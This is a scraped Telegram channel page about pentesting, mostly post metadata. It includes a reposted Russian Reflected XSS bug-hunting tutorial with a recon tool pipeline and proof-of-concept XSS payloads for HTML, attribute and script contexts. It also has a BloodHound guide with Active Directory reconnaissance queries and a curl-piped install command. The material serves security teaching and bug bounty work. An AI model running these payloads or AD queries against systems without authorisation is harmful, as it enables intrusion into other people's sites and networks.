Fsecurity | HH
الذهاب إلى القناة على Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
إظهار المزيد2 067
المشتركون
-224 ساعات
-57 أيام
-630 أيام
أرشيف المشاركات
\n📜 Reflected Inside JavaScript\n\n🔧 Используем полезную нагрузку:\n';alert(1)//\n'-alert(1)-'\n
\n✅ Сдаем багу\n✅ Вы великолепны💸","datePublished":"2025-05-31T08:04:14Z","dateModified":"2025-05-31T08:04:14Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":86},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-30T09:32:00Z"}}},{"@type":"ListItem","position":2,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5454","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5454","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5454","headline":"⚙️ BadSuccessor Очень подробный research #poc #windows #badsuccessor ✈️ Whitehat Lab 💬 Chat","articleBody":"⚙️ BadSuccessor\n\nОчень подробный research \n\n#poc #windows #badsuccessor\n\n✈️ Whitehat Lab 💬 Chat","datePublished":"2025-05-30T20:53:02Z","dateModified":"2025-05-30T20:53:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":97},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-30T08:34:00Z"}}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5453","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5453","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5453","headline":"🔗Ссылка: https://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics","articleBody":"🔗Ссылка:\nhttps://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics","datePublished":"2025-05-30T18:02:01Z","dateModified":"2025-05-30T18:02:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":113}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5452","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5452","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5452","headline":"🔗Ссылка: https://habr.com/ru/articles/913764/","articleBody":"🔗Ссылка:\nhttps://habr.com/ru/articles/913764/","datePublished":"2025-05-30T16:02:01Z","dateModified":"2025-05-30T16:02:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":138},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5451","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5451","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5451","headline":"🔗Ссылка: https://habr.com/ru/companies/securityvison/articles/913832/","articleBody":"🔗Ссылка:\nhttps://habr.com/ru/companies/securityvison/articles/913832/","datePublished":"2025-05-30T14:01:24Z","dateModified":"2025-05-30T14:01:24Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":114},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5450","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5450","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5450","headline":"🔗Ссылка: https://habr.com/ru/companies/pt/articles/913386/","articleBody":"🔗Ссылка:\nhttps://habr.com/ru/companies/pt/articles/913386/","datePublished":"2025-05-30T12:24:01Z","dateModified":"2025-05-30T12:24:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":108},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5449","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5449","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5449","headline":"🔗Ссылка: https://securelist.ru/purerat-attacks-russian-organizations/112619/","articleBody":"🔗Ссылка:\nhttps://securelist.ru/purerat-attacks-russian-organizations/112619/","datePublished":"2025-05-30T10:15:38Z","dateModified":"2025-05-30T10:15:38Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":109},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5448","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5448","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5448","headline":"Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈","articleBody":"Discord сервер \n👆🏻Тут можно пообщаться и найти много полезной информации 🦈","datePublished":"2025-05-30T08:04:09Z","dateModified":"2025-05-30T08:04:09Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":114}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5447","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5447","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5447","headline":"🔗Ссылка: https://habr.com/ru/companies/ruvds/articles/913546/","articleBody":"🔗Ссылка:\nhttps://habr.com/ru/companies/ruvds/articles/913546/","datePublished":"2025-05-30T08:03:42Z","dateModified":"2025-05-30T08:03:42Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":114},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5446","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5446","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5446","headline":"💻 PurpleSharp v1.3 Интересный инструмент для моделирования различных типов атак, с целью создания телеметрии…","articleBody":"💻 PurpleSharp v1.3\n\nИнтересный инструмент для моделирования различных типов атак, с целью создания телеметрии в контролируемых средах 💻 Windows\n\n❗️ 47 уникальных атак\n\n💻 Home\n💻 AD Purple Team Playbook\n\n#purpleteam #csharp #soft\n\n✈️ Whitehat Lab 💬 Chat","datePublished":"2025-05-29T20:39:02Z","dateModified":"2025-05-29T20:39:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":112},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-29T14:12:50Z"}}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5445","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5445","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5445","headline":"dMSASync.py P.S. I hope the last one (by @snovvcrash)","articleBody":"dMSASync.py\n\nP.S. I hope the last one (by @snovvcrash)","datePublished":"2025-05-29T18:08:02Z","dateModified":"2025-05-29T18:08:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":100},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T13:27:52Z"}}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5444","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5444","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5444","headline":"AdaptixC2 v0.5 is out https://github.com/Adaptix-Framework/AdaptixC2 * Windows \"gopher\" agent * Fast socks5 t…","articleBody":"AdaptixC2 v0.5 is out\n\nhttps://github.com/Adaptix-Framework/AdaptixC2\n\n* Windows \"gopher\" agent\n* Fast socks5 tunnels via \"gopher\" agent\n* New Remote Terminal\n* New Client side tunnels\n\n\nMore details in the changelog: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.4-greater-than-v0.5","datePublished":"2025-05-29T16:04:02Z","dateModified":"2025-05-29T16:04:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":102}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T16:18:43Z"}}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5443","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5443","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5443","headline":"🔗Ссылка: https://opennet.ru/63322/","articleBody":"🔗Ссылка:\nhttps://opennet.ru/63322/","datePublished":"2025-05-29T14:18:01Z","dateModified":"2025-05-29T14:18:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":114}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5442","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5442","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5442","headline":"🔗Ссылка: https://www.securitylab.ru/news/559819.php","articleBody":"🔗Ссылка:\nhttps://www.securitylab.ru/news/559819.php","datePublished":"2025-05-29T12:11:05Z","dateModified":"2025-05-29T12:11:05Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":113}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5441","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5441","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5441","headline":"🔗Ссылка: https://www.securitylab.ru/news/559694.php?r=1","articleBody":"🔗Ссылка:\nhttps://www.securitylab.ru/news/559694.php?r=1","datePublished":"2025-05-29T10:12:01Z","dateModified":"2025-05-29T10:12:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":105}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5440","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5440","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5440","headline":"Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈","articleBody":"Discord сервер \n👆🏻Тут можно пообщаться и найти много полезной информации 🦈","datePublished":"2025-05-29T08:09:58Z","dateModified":"2025-05-29T08:09:58Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":99}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5439","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5439","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5439","headline":"🔗Ссылка: https://www.securitylab.ru/news/559808.php?r=1","articleBody":"🔗Ссылка:\nhttps://www.securitylab.ru/news/559808.php?r=1","datePublished":"2025-05-29T08:03:10Z","dateModified":"2025-05-29T08:03:10Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":101},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5438","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5438","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5438","headline":"🔄😉 BloodHound CE v7.3.1 Обновление инструмента для выявления связей и построения графов в 💻 Active Directory.…","articleBody":"🔄😉 BloodHound CE v7.3.1\n\nОбновление инструмента для выявления связей и построения графов в 💻 Active Directory. Достаточно учетной записи доменного пользователя. \nОтличный инструмент при пентесте 💻 AD среды.\nДля сбора информации используются коллекторы bloodhound-ce или SharpHound\n\nBonus:\n\nBadSuccessor query - dMSA (delegated Managed Service Account) в Windows Server 2025\n\nMATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectsid ENDS WITH '-516' WITH COLLECT(c1.name) AS dcs MATCH (c2:Computer) WHERE c2.enabled = true AND (c2.operatingsystem contains '2025') AND (c2.name IN dcs) RETURN c2.name\n\nУстановка:\n\ncurl -L https://ghst.ly/getbhce | docker compose -f - up\n\nhttp://localhost:8080/ui/login\n\nЛогин admin и сгенерированный пароль\n\nДля обновления переходим в директорию с docker-compose.yml и запускаем: \n\ndocker compose pull && docker compose up\n\nСбор информации:\n\npython3 bloodhound-python -u domain_user -p 'P@ss' -ns 10.0.0.1 -d contoso.com -c all --dns-tcp\n\nNeo4j запросы:\n\n# Domain Admins и время установки пароля\nMATCH (g:Group) WHERE g.name =~ \"(?i).*DOMAIN ADMINS.*\" WITH g MATCH (g)<-\n[r:MemberOf*1..]-(u) RETURN u.name AS User,\ndatetime({epochSeconds:toInteger(u.pwdlastset)}) as passwordLastSet, datetime({epochSeconds: toInteger(u.whencreated)}) AS dateCreated ORDER BY u.pwdlastset\n\n# Сервисные УЗ, время установки пароля, дата создания\nMATCH (u:User) WHERE u.hasspn=true AND (NOT u.name STARTS WITH 'KRBTGT') RETURN u.name\nAS accountName, datetime({epochSeconds: toInteger(u.pwdlastset)}) AS passwordLastSet,\ndatetime({epochSeconds: toInteger(u.whencreated)}) AS dateCreated ORDER BY u.pwdlastset\n\n# Пользователи и описание\nMATCH (u:User) RETURN u.name as username, u.description as description\n\n# Domain Admins или Administrators с сессией исключая DC\nMATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH\nCOLLECT(c1.name) AS domainControllers\nMATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' OR\ng.objectid ENDS WITH '-544'\nMATCH p = (c:Computer)-[:HasSession]->(n) WHERE NOT c.name in domainControllers return\np\n\n# Неограниченное делегирование исключая DC\nMATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH\nCOLLECT(c1.name) AS domainControllers\nMATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name IN domainControllers\nRETURN c\n\n# Пользователи с ограниченным делегированием\nMATCH p = ((u:User)-[r:AllowedToDelegate]->(c:Computer)) RETURN p\n\n\nПодробный гайд:\n\n➡️ The Ultimate Guide BHCE\n➡️ Адаптация на русском\n\nADCS атаки:\n\n➡️ Part 1\n➡️ Part 2\n➡️ Part 3\n\nСсылки:\n\n💻 Home\n💻 Download\n➡️ Docs\n\nP.S. Сам таки полностью перешел на CE версию и legacy использовать больше желания нет 👍😅\n\n#bloodhound #pentest #active_directory #soft #bhce\n\n✈️ Whitehat Lab 💬 Chat","datePublished":"2025-05-28T20:16:02Z","dateModified":"2025-05-28T20:16:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":90},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T07:47:58Z"}}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5437","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5437","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5437","headline":"🔗Ссылка: https://github.com/rstcloud/awesome-threat-actor-resources","articleBody":"🔗Ссылка:\nhttps://github.com/rstcloud/awesome-threat-actor-resources","datePublished":"2025-05-28T18:05:02Z","dateModified":"2025-05-28T18:05:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":92}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5436","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5436","mainEntityOfPage":"https://telemetr.io/ar/channels/1492997419-hellohackingteam/posts/5436","headline":"Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈","articleBody":"Discord сервер \n👆🏻Тут можно пообщаться и найти много полезной информации 🦈","datePublished":"2025-05-28T16:02:50Z","dateModified":"2025-05-28T16:02:50Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/ar/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":91}]}}]}
2 068
Repost from PurpleBear
Всем привет!
После небольшого перерыва возвращаюсь с регулярными постами и сегодня мы поговорим про...
Reflected XSS😂
В качестве предисловия, среди аудитории канала большое количество матерых пентестеров и баг-хантеров, но и много новичков, которые только начинают свой путь в нашей отрасли и этот пост в большей степени для них, так как все когда-то учились. Да и в целом практически каждое техническое интервью я предпочитаю начинать с вопросов про XSS, только контекст обычно зависит от грейда кандидата.
Вообще XSS-кам, как классу уязвимостей предcказывали быструю смерть еще в 2014, когда Content Security Policy 2.0 стал фактически стандартом, но в классификации OWASP-10 от 2021 года XSS уверенно удерживает 3-е место на ряду с другими инъекциям, посмотрим как ситуация изменится в этом году.
💥Таким образом XSS:
✅ Распространенная уязвимость
✅ Дает серьезный импакт в определенных условиях
✅ Автоматизация поиска и эксплуатации
❓Как искать?
✅ Собираем все url'ы с параметрами ((?q=, ?id=, и тд) с помощью:
🔧 Paramspider - использует web.archive.org для поиска url доменов из списка
paramspider -l targets.txt
🔧 Gospider - довольно быстрый веб краулер на Go
gospider -S targets.txt -a -w -r --js --sitemap --robots -d 2 -c 10 -t 20 -K 10 \
--blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|svg|js|dat|pdf|webp|woff|woff2|tif|ttf|tiff2)" \
-q | tee gospider-out.txt
✅ Объединяем и сортируем выхлопы в один файлик:
cd paramspider/output
cat *.txt > paramspider_out.txt
cat paramspider_out.txt | sort -u | tee tragets_url.txt
✅ Определяем живые хосты с помощью httpx
httpx -l tragets_url.txt --threads 250 -o live_tragets_url.txt
✅ Сортируем выхлоп по расширениям:
cat live_tragets_url.txt | grep -i -e '\.php$' | tee live_tragets_url_php.txt
cat live_tragets_url.txt | grep -i -e '\.asp$' | tee live_tragets_url_asp.txt
cat live_tragets_url.txt | grep -i -e '\.aspx$' | tee live_tragets_url_aspx.txt
cat live_tragets_url.txt | grep -i -e '\.jsp$' | tee live_tragets_url_jsp.txt
cat live_tragets_url.txt | grep -i -e '\.do$' | tee live_tragets_url_do.txt
✅ Ищем отраженные параметры с помощью:
🔧 Dalfox
dalfox file live_tragets_url_jsp.txt --skip-xss-scanning -o live_tragets_url_jsp_reflecting.txt
✅ Определяем отраженный контекст:
🔖 Reflected Between HTML Tags
<p>"><zxcvbro>Bro</p>
🔧 Используем полезную нагрузку:
<img src=x onerror=prompt(1)>
<details open ontoggle=prompt(origin)>
<svg onload=confirm(1)>
🔐 Reflected Inside HTML Tag Attributes
<input value="><zxcvbro>Bro">
🔧 Используем полезную нагрузку:
" autofocus onfocus=alert(document.domain) x="
"><script>alert(1)</script>
📜 Reflected Inside JavaScript
<script>
var input = '"><zxcvbro>Bro';
</script>
🔧 Используем полезную нагрузку:
';alert(1)//
'-alert(1)-'
</script><img src=1 onerror=alert(1)>
✅ Сдаем багу
✅ Вы великолепны💸2 068
Repost from Whitehat Lab
💻 PurpleSharp v1.3
Интересный инструмент для моделирования различных типов атак, с целью создания телеметрии в контролируемых средах 💻 Windows
❗️ 47 уникальных атак
💻 Home
💻 AD Purple Team Playbook
#purpleteam #csharp #soft
✈️ Whitehat Lab 💬 Chat
2 068
Repost from Adaptix Framework
AdaptixC2 v0.5 is out
